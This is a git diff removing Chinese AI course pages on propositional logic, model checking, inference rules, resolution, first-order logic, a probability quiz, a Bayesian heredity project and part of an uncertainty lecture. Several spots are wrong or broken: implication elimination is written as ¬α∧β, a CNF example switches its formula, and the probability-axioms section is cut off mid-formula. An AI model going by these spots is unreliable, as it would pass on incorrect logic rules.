-hagrid = Symbol("hagrid") # 哈利拜访了海格 -dumbledore = Symbol("dumbledore") # 哈利拜访了邓布利多 -# 知识库中的陈述句 -knowledge = And( # 从“和”逻辑连接词开始,因为每个命题都代表我们知道是真实的知识。 -Implication(Not(rain), hagrid), # ¬(今天下雨) → (哈利拜访了海格) -Or(hagrid, dumbledore), # (哈利拜访了海格) ∨ (哈利拜访了邓布利多). -Not(And(hagrid, dumbledore)), # ¬(哈利拜访了邓布利多 ∧ 哈利拜访了海格) i.e. 哈利没有同时去拜访海格和邓布利多。 -dumbledore # 哈利拜访了邓布利多。请注意,虽然之前的命题包含多个带有连接符的符号,但这是一个由一个符号组成的命题。这意味着我们将在这个 KB 中,Harry 拜访了 Dumbledore 作为事实。 -) -``` - -要运行模型检查算法,需要以下信息: - -- 知识库 (KB),将用于得出推论 -- 一个查询结论 (query),或者我们感兴趣的命题是否被$KB$包含 -- 命题符号,所有使用的符号(或原子命题)的列表(在我们的例子中,这些是 rain、hagrid 和 dumbledore) -- 模型,将真值和假值分配给命题 - -模型检查算法如下所示: - -```python -def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都有一个赋值 - # (下面的逻辑可能有点混乱:我们从命题符号列表开始。该函数是递归的,每次调用自身时,它都会从命题符号列表中弹出一个命题符号并从中生成模型。因此,当命题符号列表为空时,我们知道我们已经完成生成模型,其中包含每个可能的命题真值分配。) - if not symbols: - # 如果知识库在模型中为真,则查询结论也必须为真 - if knowledge.evaluate(model): - return query.evaluate(model) - return True - else: - # 选择剩余未使用的符号之一 - remaining = symbols.copy() - p = remaining.pop() - # 创建一个模型,其中命题符号为真 - model_true = model.copy() - model_true[p] = True - # 创建一个模型,其中命题符号为假 - model_false = model.copy() - model_false[p] = False - # 确保两种模型都进行蕴含推理 - return(check_all(knowledge, query, remaining, model_true) and check_all(knowledge, query, remaining, model_false)) -``` - -请注意,我们只对$KB$为真的模型感兴趣。如果$KB$为假,那么我们知道真实的条件并没有出现在这些模型中,使它们与我们的案例无关。 - -> 另一个例子:假设 $P$:Harry 扮演找球手,$Q$:Oliver 扮演守门员,$R$:Gryffindor 获胜。我们的$KB$指定$P$, $Q$, $(P ∧ Q) \to R$。换句话说,我们知道$P$为真,即 Harry 扮演找球手,$Q$为真,即 Oliver 扮演守门员,并且如果$P$和$Q$都为真,那么$R$也为真,这意味着 Gryffindor 赢得了比赛。现在想象一个模型,其中 Harry 扮演击球手而不是找球手 (因此,Harry 没有扮演找球手,$¬P$)。嗯,在这种情况下,我们不关心 Gryffindor 是否赢了 (无论$R$是否为真),因为我们的$KB$中有信息表明 Harry 扮演的是找球手而不是击球手。我们只对$P$和$Q$ 为真的模型感兴趣。) - -此外,`check_all` 函数的工作方式是递归的。也就是说,它选择一个命题符号,创建两个模型,其中一个符号为真,另一个为假,然后再次调用自己,现在有两个模型因该命题符号的真值分配不同而不同。该函数将继续这样做,直到所有符号都已在模型中分配了真值,使 `symbol` 符号为空。一旦它为空(由 `if not symbols` 行标识),在函数的每个实例中(其中每个实例都包含不同的模型),函数检查$KB$是否为给定的有效模型。如果$KB$在此模型中为真,函数将检查查询结论是否为真,如前所述。 - -## 知识工程 (Knowledge Engineering) - -知识工程是弄清楚如何在 AI 中表示命题和逻辑的工程。 - -### 推理规则 (Inference Rules) - -模型检查不是一种有效的算法,因为它必须在给出答案之前考虑每个可能的模型(提醒:如果在$KB$为真的所有模型(真值分配)下,查询结论$R$为真,则$R$ 也为真)。推理规则允许我们根据现有知识生成新信息,而无需考虑所有可能的模型。 - -推理规则通常使用将顶部部分(前提)与底部部分(结论)分开的水平条表示。前提是我们有什么知识,结论是根据这个前提可以产生什么知识。 - -![](https://cdn.xyxsw.site/FjYOb3Qr5ofHdOx7REacdcyqn0c.png) - -#### 肯定前件 (Modus Ponens) - -如果我们知道一个蕴涵及其前件为真,那么后件也为真。 - -![](https://cdn.xyxsw.site/HaqObF0xAoX6O8xDX7KctF0jnpf.png) - -#### 合取消除 (And Elimination) - -如果 And 命题为真,则其中的任何一个原子命题也为真。例如,如果我们知道哈利与罗恩和赫敏是朋友,我们就可以得出结论,哈利与赫敏是朋友。 - -![](https://cdn.xyxsw.site/TI5Mb781YocwpqxRsyRcPS8WnAg.png) - -#### 双重否定消除 (Double Negation Elimination) - -被两次否定的命题为真。例如,考虑命题“哈利没有通过考试是不正确的”。这两个否定相互抵消,将命题“哈利通过考试”标记为真。 - -![](https://cdn.xyxsw.site/NuabbQqZjoBkNixz45AcDZ8Bnrg.png) - -#### 蕴含消除 (Implication Elimination) - -蕴涵等价于被否定的前件和后件之间的 Or 关系。例如,命题“如果正在下雨,哈利在室内”等同于命题“(没有下雨) 或 (哈利在室内)”。 - -![](https://cdn.xyxsw.site/S31Ub9xcUo9yArxntWscU47pnwh.png) - -| $P$ | $Q$ | $P\to Q$ | $\lnot P\lor Q$ | -| --- | --- | -------- | --------------- | -| 0 | 0 | 1 | 1 | -| 0 | 1 | 1 | 1 | -| 1 | 0 | 0 | 0 | -| 1 | 1 | 1 | 1 | - -#### 等值消除 (Biconditional Elimination) - -等值命题等价于蕴涵及其逆命题的 And 关系。例如,“当且仅当 Harry 在室内时才下雨”等同于 (“如果正在下雨,Harry 在室内”和“如果 Harry 在室内,则正在下雨”)。 - -![](https://cdn.xyxsw.site/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png) - -#### 德摩根律 (De Morgan’s Law) - -可以将 And 连接词变成 Or 连接词。考虑以下命题:“哈利和罗恩都通过了考试是不正确的。”由此,可以得出“哈利通过考试不是真的”或者“罗恩不是真的通过考试”的结论。也就是说,要使前面的 And 命题为真,Or 命题中至少有一个命题必须为真。 - -![](https://cdn.xyxsw.site/GTagbx1jso6l8gx1rQOcPW3inIb.png) - -同样,可以得出相反的结论。考虑这个命题“哈利或罗恩通过考试是不正确的”。这可以改写为“哈利没有通过考试”和“罗恩没有通过考试”。 - -![](https://cdn.xyxsw.site/XOeTbb4BooRbKBx4gHwc3A7EnYf.png) - -#### 分配律 (Distributive Property) - -具有两个用 And 或 Or 连接词分组的命题可以分解为由 And 和 Or 组成的更小单元。 - -![](https://cdn.xyxsw.site/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png) - -![](https://cdn.xyxsw.site/CvPybic63o7jSlxvuzpcFxjQnse.png) - -### 知识和搜索问题 - -推理可以被视为具有以下属性的搜索问题: - -- 初始状态:知识库 -- 动作:推理规则 -- 过渡模型:推理后的新知识库 -- 目标测试:检查我们要证明的语句是否在知识库中 -- 路径成本:证明中的步骤数 - -这显示了搜索算法的通用性,使我们能够使用推理规则根据现有知识推导出新信息。 - -## 归结 (Resolution) - -归结是一个强大的推理规则,它规定如果 Or 命题中的两个原子命题之一为假,则另一个必须为真。例如,给定命题“Ron 在礼堂”或“Hermione 在图书馆”,除了命题“Ron 不在礼堂”之外,我们还可以得出“Hermione 在图书馆”的结论。更正式地说,我们可以通过以下方式定义归结: - -![](https://cdn.xyxsw.site/PBF7bNpPcoTh1bxP4rqcshA5nIg.png) - -![](https://cdn.xyxsw.site/LTKXbs7VPoZxlqxfXfkczFh0nBh.png) - -归结依赖于互补文字,两个相同的原子命题,其中一个被否定而另一个不被否定,例如$P$和$¬P$。 - -归结可以进一步推广。假设除了“Rom 在礼堂”或“Hermione 在图书馆”的命题外,我们还知道“Rom 不在礼堂”或“Harry 在睡觉”。我们可以从中推断出“Hermione 在图书馆”或“Harry 在睡觉”。正式地说: - -![](https://cdn.xyxsw.site/MebubVSxRonfZ2xnYj9c5TYCnIg.png) - -![](https://cdn.xyxsw.site/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png) - -互补文字使我们能够通过解析推理生成新句子。因此,推理算法定位互补文字以生成新知识。 - -从句 (Clause) 是多个原子命题的析取式(命题符号或命题符号的否定,例如$P$, $¬P$)。析取式由 Or 逻辑连接词 ($P ∨ Q ∨ R$) 相连的命题组成。另一方面,连接词由 And 逻辑连接词 ($P ∧ Q ∧ R$) 相连的命题组成。从句允许我们将任何逻辑语句转换为合取范式 (CNF),它是从句的合取,例如:$(A ∨ B ∨ C) ∧ (D ∨ ¬E) ∧ (F ∨ G)$。 - -命题转换为合取范式的步骤、 - -1. 等值消除 - - 将$(α↔ β)$转化为$(α→ β)∧ (β → α)$ -2. 蕴含消除 - - 将$(α→ β)$转化为$\lnotα∧β$ -3. 使用德摩根定律,将否定向内移动,直到只有原子命题被否定(而不是从句) - - 将$\lnot(\alpha∧β)$转换为$\lnotα\lor\lnotβ$ -4. 下面是一个转换$(P∧Q)\to R$到合取范式的例子: - - $(P ∨ Q) → R$ - - $\lnot(P\lor Q)\lor R$蕴含消除 - - $(\lnot P\land\lnot Q)\lor R$德摩根律 - - $(\lnot P\lor R)\land(\lnot Q\lor R)$分配律 - -归结命题及其否定,即$\lnot P$和$P$,得到空从句$()$。空从句总是假的,这是有道理的,因为$P$和$\lnot P$ 不可能都是真的。归结算法使用了这个事实。 - -- 确定是否$KB⊨α$: - - 检查:$(KB∧\lnotα)$是矛盾的吗? - - 如果是这样,那么$KB⊨α$。 - - 否则,$KB$无法蕴含推理出$\alpha$。 - -矛盾证明是计算机科学中经常使用的一种工具。如果我们的知识库是真的,并且它与$\lnot α$相矛盾,那就意味着$\lnot\alpha$是假的,因此$α$必须是真的。从技术上讲,该算法将执行以下操作: - -- 确定是否$KB⊨α$: -- 将$(KB∧\lnotα)$转换为合取范式。 -- 继续检查,看看我们是否可以使用归结来生成一个新的从句。 -- 如果我们生成了空从句(相当于 False),那么恭喜你!我们得出了一个矛盾,从而证明了$KB⊨α$。 -- 然而,如果没有实现矛盾,并且不能推断出更多的从句,那么就没有蕴含性。 -- 以下是一个示例,说明了该算法的工作原理: - - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C)\vDash A?$ - - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)$ - - $(\lnot B\lor C)\land\lnot C\vDash\lnot B\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)$ - - $(A\lor B)\land\lnot B\vDash A\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)$ - - $(\lnot A\land A)\vDash ()\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)\land ()\implies False$ - -## 一阶逻辑 (First Order Logic) - -一阶逻辑是另一种类型的逻辑,它使我们能够比命题逻辑更简洁地表达更复杂的想法。一阶逻辑使用两种类型的符号:常量符号和谓词符号。常量符号表示对象,而谓词符号类似于接受参数并返回 true 或 false 值的关系或函数。 - -例如,我们回到霍格沃茨不同的人和家庭作业的逻辑谜题。常量符号是指人或房子,如 Minerva、Pomona、Gryffindor、Hufflepuff 等。谓语符号是一些常量符号的真或虚的属性。例如,我们可以使用句子 `person(Minerva)` 来表达 Minerva 是一个人的想法。同样,我们可以用 `house(Gryffindor)` 这个句子来表达 Gryffindor 是一所房子的想法。所有的逻辑连接词都以与以前相同的方式在一阶逻辑中工作。例如,$\lnot$`House(Minerva)` 表达了 Minerva 不是房子的想法。谓词符号也可以接受两个或多个自变量,并表达它们之间的关系。例如,BelongsTo 表达了两个论点之间的关系,即人和人所属的房子。因此,Minerva 拥有 Gryffindor 的想法可以表达为 `BelongsTo(Minerva,Gryffindor)`。一阶逻辑允许每个人一个符号,每个房子一个符号。这比命题逻辑更简洁,因为命题逻辑中每个人的房屋分配都需要不同的符号。 - -### 全称量化 (Universal Quantification) - -量化是一种可以在一阶逻辑中使用的工具,可以在不使用特定常量符号的情况下表示句子。全称量化使用符号$∀$来表示“所有”。例如,$\forall x(BelongsTo(x, Gryffindor) → ¬BelongsTo(x, Hufflepuff))$表达了这样一种观点,即对于每个符号来说,如果这个符号属于 Gryffindor,那么它就不属于 Hufflepuff。 - -### 存在量化 (Existential Quantification) - -存在量化是一个与全称量化平行的概念。然而,虽然全称量化用于创建对所有$x$都成立的句子,但存在量化用于创建至少对一个$x$成立的句子。它使用符号$∃$表示。例如,$∃x(House(x) ∧ BelongsTo(Minerva, x))$ 意味着至少有一个符号既是房子,又是属于 Minerva。换句话说,这表达了 Minerva 拥有房子的想法。 - -存在量化和全称量化可以用在同一个句子中。例如,$∀x(Person(x) → (∃y(House(y) ∧ BelongsTo(x, y))))$表达了这样一种观点,即如果$x$是一个人,那么这个人至少拥有一个房子$y$。换句话说,这句话的意思是每个人都拥有一所房子。 - -还有其他类型的逻辑,它们之间的共同点是,它们都是为了表示信息而存在的。这些是我们用来在人工智能中表示知识的系统。 - -## 补充材料 - -Introduction to the Theory of Computation, Third International Edition (Michael Sipser) - -具体数学:计算机科学基础。第 2 版 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例.md deleted file mode 100644 index 429dc50..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例.md +++ /dev/null @@ -1,56 +0,0 @@ -# 程序示例 - -::: tip -阅读程序,然后“玩一玩”程序! - -完成习题 -::: - -::: tip 📥 -本节附件下载 -::: - -本节代码不做额外梳理,[不确定性问题](./4.3.3%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%E9%97%AE%E9%A2%98.md) 中已有解释。 - -## Quiz - -1. 考虑一副标准的 52 张牌,在四种花色(梅花、方块、红心、黑桃)中各有 13 种牌值(A、K、Q、J 和 2-10)。如果随机抽出一张牌,它是黑桃或 2 的概率是多少? - 1. About 0.019 - 2. About 0.077 - 3. About 0.17 - 4. About 0.25 - 5. About 0.308 - 6. About 0.327 - 7. About 0.5 - 8. None of the above -2. 想象一下,抛出两枚硬币,每枚硬币都有正面和反面,50% 的时间出现正面,50% 的时间出现反面。抛出这两枚硬币后,其中一枚是正面,另一枚是反面的概率是多少? - 1. 0 - 2. 0.125 - 3. 0.25 - 4. 0.375 - 5. 0.5 - 6. 0.625 - 7. 0.75 - 8. 0.875 - 9. 1 -3. 回答关于贝叶斯网络的问题,问题如下: - ![](https://cdn.xyxsw.site/PUesbhgsFoiucAxWBKYcUUU3nMd.png) - 以下哪句话是真的? - - 1. 假设我们知道有轨道维护,那么是否有雨并不影响列车准时到达的概率。 - 2. 假设我们知道有雨,那么是否有轨道维修并不影响列车准时到达的概率。 - 3. 假设我们知道火车是准时的,是否有雨会影响到赴约的概率。 - 4. 假设我们知道火车是准时的,那么是否有轨道维修并不影响赴约的概率。 - 5. 假设我们知道有轨道维护,那么是否有雨并不影响参加约会的概率。 -4. 两家工厂--A 厂和 B 厂--设计用于手机的电池。A 厂生产 60% 的电池,B 厂生产另外 40%。A 厂 2% 的电池有缺陷,B 厂 4% 的电池有缺陷。一个电池既由 A 厂生产又有缺陷的概率是多少? - 1. 0.008 - 2. 0.012 - 3. 0.024 - 4. 0.028 - 5. 0.02 - 6. 0.06 - 7. 0.12 - 8. 0.2 - 9. 0.429 - 10. 0.6 - 11. None of the above diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目:遗传.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目:遗传.md deleted file mode 100644 index c598333..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目:遗传.md +++ /dev/null @@ -1,119 +0,0 @@ -# 项目:遗传 - -::: tip -我们为你提供了一个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 - -如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 -::: - -::: tip 📥 -本节附件下载 -::: - -## 背景 - -GJB2 基因的突变版本是导致新生儿听力障碍的主要原因之一。每个人都携带两个版本的基因,因此每个人都有可能拥有 0、1 或 2 个听力障碍版本的 GJB2 基因。不过,除非一个人接受基因测试,否则要知道一个人拥有多少个变异的 GJB2 基因并不那么容易。这是一些 "隐藏状态":具有我们可以观察到的影响(听力损伤)的信息,但我们不一定直接知道。毕竟,有些人可能有 1 或 2 个突变的 GJB2 基因,但没有表现出听力障碍,而其他人可能没有突变的 GJB2 基因,但仍然表现出听力障碍。 - -每个孩子都会从他们的父母那里继承一个 GJB2 基因。如果父母有两个变异基因,那么他们会将变异基因传给孩子;如果父母没有变异基因,那么他们不会将变异基因传给孩子;如果父母有一个变异基因,那么该基因传给孩子的概率为 0.5。不过,在基因被传递后,它有一定的概率发生额外的突变:从导致听力障碍的基因版本转变为不导致听力障碍的版本,或者反过来。 - -我们可以尝试通过对所有相关变量形成一个贝叶斯网络来模拟所有这些关系,就像下面这个网络一样,它考虑了一个由两个父母和一个孩子组成的家庭。 - -![](https://cdn.xyxsw.site/FNyab3RWQo3EA8xu8T7cyLwhnyh.png) - -家庭中的每个人都有一个 `Gene` 随机变量,代表一个人有多少个特定基因(例如,GJB2 的听力障碍版本):一个 0、1 或 2 的值。家族中的每个人也有一个 `Trait` 随机变量,它是 `yes` 或 `no`,取决于该人是否表达基于该基因的性状(例如,听力障碍)。从每个人的 `Gene` 变量到他们的 `Trait` 变量之间有一个箭头,以编码一个人的基因影响他们具有特定性状的概率的想法。同时,也有一个箭头从母亲和父亲的 `Gene` 随机变量到他们孩子的 `Gene` 随机变量:孩子的基因取决于他们父母的基因。 - -你在这个项目中的任务是使用这个模型对人群进行推断。给出人们的信息,他们的父母是谁,以及他们是否具有由特定基因引起的特定可观察特征(如听力损失),你的人工智能将推断出每个人的基因的概率分布,以及任何一个人是否会表现出有关特征的概率分布。 - -## 理解 - -打开 `data/family0.csv`,看看数据目录中的一个样本数据集(你可以在文本编辑器中打开,或者在 Google Sheets、Excel 或 Apple Numbers 等电子表格应用程序中打开)。注意,第一行定义了这个 CSV 文件的列:`name`, `mother`, `father`, 和 `trait`。下一行表明 Harry 的母亲是 Lily,父亲是 James,而 `Trait` 的空单元格意味着我们不知道 Harry 是否有这种性状。同时,James 在我们的数据集中没有列出父母(如母亲和父亲的空单元格所示),但确实表现出了性状(如 `Trait` 单元格中的 1 所示)。另一方面,Lily 在数据集中也没有列出父母,但没有表现出这种性状(如 `Trait` 单元格中的 0 表示)。 - -打开 `heredity.py`,首先看一下 `PROBS` 的定义。`PROBS` 是一个包含若干常数的字典,代表各种不同事件的概率。所有这些事件都与一个人拥有多少个特定的突变基因,以及一个人是否基于该基因表现出特定的性状有关。这里的数据松散地基于 GJB2 基因的听力障碍版本和听力障碍性状的概率,但通过改变这些值,你也可以用你的人工智能来推断其他的基因和性状! - -首先,`PROBS["gene"]` 代表了该基因的无条件概率分布(即如果我们对该人的父母一无所知的概率)。根据分布代码中的数据,在人群中,有 1% 的机会拥有该基因的 2 个副本,3% 的机会拥有该基因的 1 个副本,96% 的机会拥有该基因的零副本。 - -接下来,`PROBS["trait"]` 表示一个人表现出某种性状(如听力障碍)的条件概率。这实际上是三个不同的概率分布:基因的每个可能值都有一个。因此,`PROBS["trait"][2]` 是一个人在有两个突变基因的情况下具有该特征的概率分布:在这种情况下,他们有 65% 的机会表现出该特征,而有 35% 的机会不表现出该特征。同时,如果一个人有 0 个变异基因,他们有 1% 的机会表现出该性状,99% 的机会不表现出该性状。 - -最后,`PROBS["mutation"]` 是一个基因从作为相关基因突变为不是该基因的概率,反之亦然。例如,如果一个母亲有两个变异基因,并因此将其中一个传给她的孩子,就有 1% 的机会突变为不再是变异基因。相反,如果一个母亲没有任何变异基因,因此没有把变异基因传给她的孩子,但仍有 1% 的机会突变为变异基因。因此,即使父母双方都没有变异基因,他们的孩子也可能有 1 个甚至 2 个变异基因。 - -最终,你计算的概率将以 `PROBS` 中的这些数值为基础。 - -现在,看一下 `main` 函数。该函数首先将数据从一个文件加载到一个字典 `people` 中。`people` 将每个人的名字映射到另一个包含他们信息的字典中:包括他们的名字,他们的母亲(如果数据集中有一个母亲),他们的父亲(如果数据集中有一个父亲),以及他们是否被观察到有相关的特征(如果有则为 `True`,没有则为 `False`,如果我们不知道则为 `None`)。 -接下来,`main` 中定义了一个字典 `probabilities`,所有的概率最初都设置为 0。这就是你的项目最终要计算的内容:对于每个人,你的人工智能将计算他们有多少个变异基因的概率分布,以及他们是否具有该性状。例如,`probabilities["Harry"]["gene"][1]` 将是 Harry 有 1 个变异基因的概率,而 `probabilities["Lily"]["trait"][False]` 将是 Lily 没有表现出该性状的概率。 - -如果不熟悉的话,这个 `probabilities` 字典是用 [python 字典](https://www.python.org/dev/peps/pep-0274/)创建的,在这种情况下,它为我们的 `people` 中的每个 `person` 创建一个键/值对。 - -最终,我们希望根据一些证据来计算这些概率:鉴于我们知道某些人有或没有这种特征,我们想确定这些概率。你在这个项目中的任务是实现三个函数来做到这一点: `joint_probability` 计算一个联合概率,`update` 将新计算的联合概率添加到现有的概率分布中,然后 `normalize` 以确保所有概率分布最后和为 1。 - -## 明确 - -完成 `joint_probability`、`update` 和 `normalize` 的实现。 - -`joint_probability` 函数应该接受一个 `people` 的字典作为输入,以及关于谁拥有多少个变异基因,以及谁表现出该特征的数据。该函数应该返回所有这些事件发生的联合概率。 - -- 该函数接受四个数值作为输入:`people`, `one_gene`, `two_genes`, 和 `have_trait`。 - - - `people` 是一个在 "理解"一节中描述的人的字典。键代表名字,值是包含 `mother` 和 `father` 键的字典。你可以假设 `mother` 和 `father` 都是空白的(数据集中没有父母的信息),或者 `mother` 和 `father` 都会指代 `people` 字典中的其他人物。 - - `one_gene` 是一个集合,我们想计算所有集合元素有一个变异基因的概率。 - - `two_genes` 是一个集合,我们想计算所有集合元素有两个变异基因的概率。 - - `have_trait` 是一个集合,我们想计算所有集合元素拥有该性状的概率。 - - 对于不在 `one_gene` 或 t `wo_genes` 中的人,我们想计算他们没有变异基因的概率;对于不在 `have_trait` 中的人,我们想计算他们没有该性状的概率。 - -- 例如,如果这个家庭由 Harry、James 和 Lily 组成,那么在 `one_gene = {"Harry"}`、`two_genes = {"James"}` 和 `trait = {"Harry"、"James"}` 的情况下调用这个函数,应该计算出 Lily 没有变异基因、Harry 拥有一个变异基因、James 拥有两个变异基因、Harry 表现出该性状、James 表现出该性状和 Lily 没有表现出该性状的联合概率。 -- 对于数据集中没有列出父母的人,使用概率分布 `PROBS["gene"]` 来确定他们有特定数量基因的概率。 -- 对于数据集中有父母的人来说,每个父母都会把他们的两个基因中的一个随机地传给他们的孩子,而且有一个 `PROBS["mutation"]` 的机会,即它会发生突变(从变异基因变成正常基因,或者相反)。 -- 使用概率分布 `PROBS["trait"]` 来计算一个人具有或不具有形状的概率。 - -`update` 函数将一个新的联合分布概率添加到 `probabilities` 中的现有概率分布中。 - -- 该函数接受五个值作为输入:`probabilities`, `one_gene`, `two_genes`, `have_trait`, 和 `p`。 - - - `probabilities` 是一个在 "理解 "部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。 - - `one_gene` 是一个集合,我们想计算所有集合元素有一个变异基因的概率。 - - `two_genes` 是一个集合,我们想计算所有集合元素有两个变异基因的概率。 - - `have_trait` 是一个集合,我们想计算所有集合元素拥有该性状的概率。 - - `p` 是联合分布的概率。 -- 对于概率中的每个人,该函数应该更新 `probabilities[person]["gene"]` 分布和 `probabilities[person]["trait"]` 分布,在每个分布中的适当数值上加上 `p`。所有其他数值应保持不变。 -- 例如,如果"Harry"同时出现在 `two_genes` 和 `have_trait` 中,那么 `p` 将被添加到 `probabilities["Harry"]["gene"][2]` 和 `probabilities["Harry"]["trait"][True]`。 -- 该函数不应返回任何值:它只需要更新 `probabilities` 字典。 - -`normalize` 函数更新 `probabilities` 字典,使每个概率分布被归一化(即和为 1,相对比例相同)。 - -- 该函数接受一个单一的值:`probabilities`。 - - - `probabilities` 是一个在"理解"部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。 -- 对于 `probabilities` 中每个人的两个分布,这个函数应该将该分布归一化,使分布中的数值之和为 1,分布中的相对数值是相同的。 -- 例如,如果 `probabilities["Harry"]["trait"][True]` 等于 `0.1`,概率 `probabilities["Harry"]["trait"][False]` 等于 `0.3`,那么你的函数应该将前一个值更新为 `0.25`,后一个值更新为 `0.75`: 现在数字之和为 1,而且后一个值仍然比前一个值大三倍。 -- 该函数不应返回任何值:它只需要更新 `probabilities` 字典。 - -除了规范中要求你实现的三个函数外,你不应该修改 `heredity.py` 中的任何其他东西,尽管你可以编写额外的函数和/或导入其他 Python 标准库模块。如果熟悉的话,你也可以导入 `numpy` 或 `pandas`,但是你不应该使用任何其他第三方 Python 模块。 - -## 一个联合概率例子 - -为了帮助你思考如何计算联合概率,我们在下面附上一个例子。 - -请考虑以下 `people` 的值: - -```python -{ - 'Harry': {'name': 'Harry', 'mother': 'Lily', 'father': 'James', 'trait': None}, - 'James': {'name': 'James', 'mother': None, 'father': None, 'trait': True}, - 'Lily': {'name': 'Lily', 'mother': None, 'father': None, 'trait': False} -} -``` - -这里我们将展示 `joint_probability(people, {"Harry"}, {"James"}, {"James"})` 的计算。根据参数,`one_gene` 是 `{"Harry"}`,`two_genes` 是 `{"James"}`,而 `has_trait` 是 `{"James"}`。因此,这代表了以下的概率:Lily 没有变异基因,不具有该性状;Harry 有一个变异基因,不具有该性状;James 有 2 个变异基因,具有该性状。 - -我们从 Lily 开始(我们考虑人的顺序并不重要,只要我们把正确的数值乘在一起,因为乘法是可交换的)。Lily 没有变异基因,概率为 `0.96`(这就是 `PROBS["gene"][0]`)。鉴于她没有变异基因,她没有这个性状的概率为 `0.99`(这是 `PROBS["trait"][0][False]`)。因此,她没有变异基因且没有该性状的概率是 `0.96*0.99=0.9504`。 - -接下来,我们考虑 James。James 有 2 个变异基因,概率为 `0.01`(这是 `PROBS["gene"][2]`)。鉴于他有 2 个变异基因,他确实具有该性状的概率为 `0.65`。因此,他有 2 个变异基因并且他确实具有该性状的概率是 `0.01*0.65=0.0065`。 - -最后,我们考虑 Harry。Harry 有 1 个变异基因的概率是多少?有两种情况可以发生。要么他从母亲那里得到这个基因,而不是从父亲那里,要么他从父亲那里得到这个基因,而不是从母亲那里。他的母亲 Lily 没有变异基因,所以 Harry 会以 `0.01` 的概率从他母亲那里得到这个基因(这是 `PROBS["mutation"]`),因为从他母亲那里得到这个基因的唯一途径是基因突变;相反,Harry 不会从他母亲那里得到这个基因,概率是 `0.99`。他的父亲 James 有 2 个变异基因,所以 Harry 会以 `0.99` 的概率从他父亲那里得到这个基因(这是 `1-PROBS["mutation"]`),但会以 `0.01` 的概率从他母亲那里得到这个基因(突变的概率)。这两种情况加在一起可以得到 `0.99*0.99+0.01*0.01=0.9802`,即 Harry 有 1 个变异基因的概率。 - -考虑到 Harry 有 1 个变异基因,他没有该性状的概率是 `0.44`(这是 `PROBS["trait"][1][false]`)。因此,哈利有 1 个变异基因而没有该性状的概率是 `0.9802 * 0.44 = 0.431288`。 - -因此,整个联合概率是三个人中每个人的所有这些数值相乘的结果:`0.9504 * 0.0065 * 0.431288 = 0.0026643247488`。 - -## 提示 - -- 回顾一下,要计算多个事件的联合概率,你可以通过将这些概率相乘来实现。但请记住,对于任何孩子来说,他们拥有一定数量的基因的概率是以他们的父母拥有什么基因为条件的。 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题.md deleted file mode 100644 index 577f8eb..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题.md +++ /dev/null @@ -1,485 +0,0 @@ -# 不确定性问题 - -上一讲中,我们讨论了人工智能如何表示和推导新知识。然而,在现实中,人工智能往往对世界只有部分了解,这给不确定性留下了空间。尽管如此,我们还是希望我们的人工智能在这些情况下做出尽可能好的决定。例如,在预测天气时,人工智能掌握了今天的天气信息,但无法 100% 准确地预测明天的天气。尽管如此,我们可以做得比偶然更好,今天的讲座是关于我们如何创造人工智能,在有限的信息和不确定性的情况下做出最佳决策。 - -## 概率 (Probability) - -不确定性可以表示为多个事件以及每一个事件发生的可能性或概率。 - -### 概率世界 - -每一种可能的情况都可以被视为一个世界,由小写的希腊字母$ω$表示。例如,掷骰子可以产生六个可能的世界:骰子出现 1 的世界,骰子出现 2 的世界,依此类推。为了表示某个世界的概率,我们写$P(ω)$。 - -### 概率公理 - -- $0$。为了便于解释,这些值有一个固定的顺序(在我们的情况下,准时、延迟、取消)。 - -### 独立性 (Independence) - -独立性是指一个事件的发生不会影响另一个事件发生的概率。例如,当掷两个骰子时,每个骰子的结果与另一个骰子的结果是独立的。用第一个骰子掷出 4 不会影响我们掷出的第二个骰子的值。这与依赖事件相反,比如早上的云和下午的雨。如果早上多云,下午更有可能下雨,所以这些事件是有依赖性的。 - -独立性可以用数学定义:事件$a$和$b$是独立的,当且仅当$a$并且$b$的概率等于$a$的概率乘以$b$的概率:$P(a∧b)=P(a)P(b)$。 - -## 贝叶斯规则 (Bayes’Rule) - -贝叶斯规则在概率论中常用来计算条件概率。换句话说,贝叶斯规则说,给定$b$条件下$a$的概率等于给定$a$的条件下$b$概率,乘以$b$的概率除以$a$ 的概率。 - -$P(b|a)=\frac{P(a|b)P(b)}{P(a)}$ - -例如,如果早上有云,我们想计算下午下雨的概率,或者$P(雨 | 云)$。我们从以下信息开始: - -- 80% 的雨天下午开始于多云的早晨,或$P(云 | 雨)$。 -- 40% 的日子早晨多云,或$P(云)$。 -- 10% 的日子有下雨的下午,或$P(雨)$。 - -应用贝叶斯规则,我们计算$\frac{0.8*0.1}{0.4}=0.2$。也就是说,考虑到早上多云,下午下雨的可能性是 20%。 - -除了$P(a)$和$P(b)$之外,知道$P(a|b)$还允许我们计算$P(b|a)$。这是有帮助的,因为知道给定未知原因的可见效应的条件概率$P(可见效应 | 未知原因)$,可以让我们计算给定可见效应的未知原因的概率$P(未知原因 | 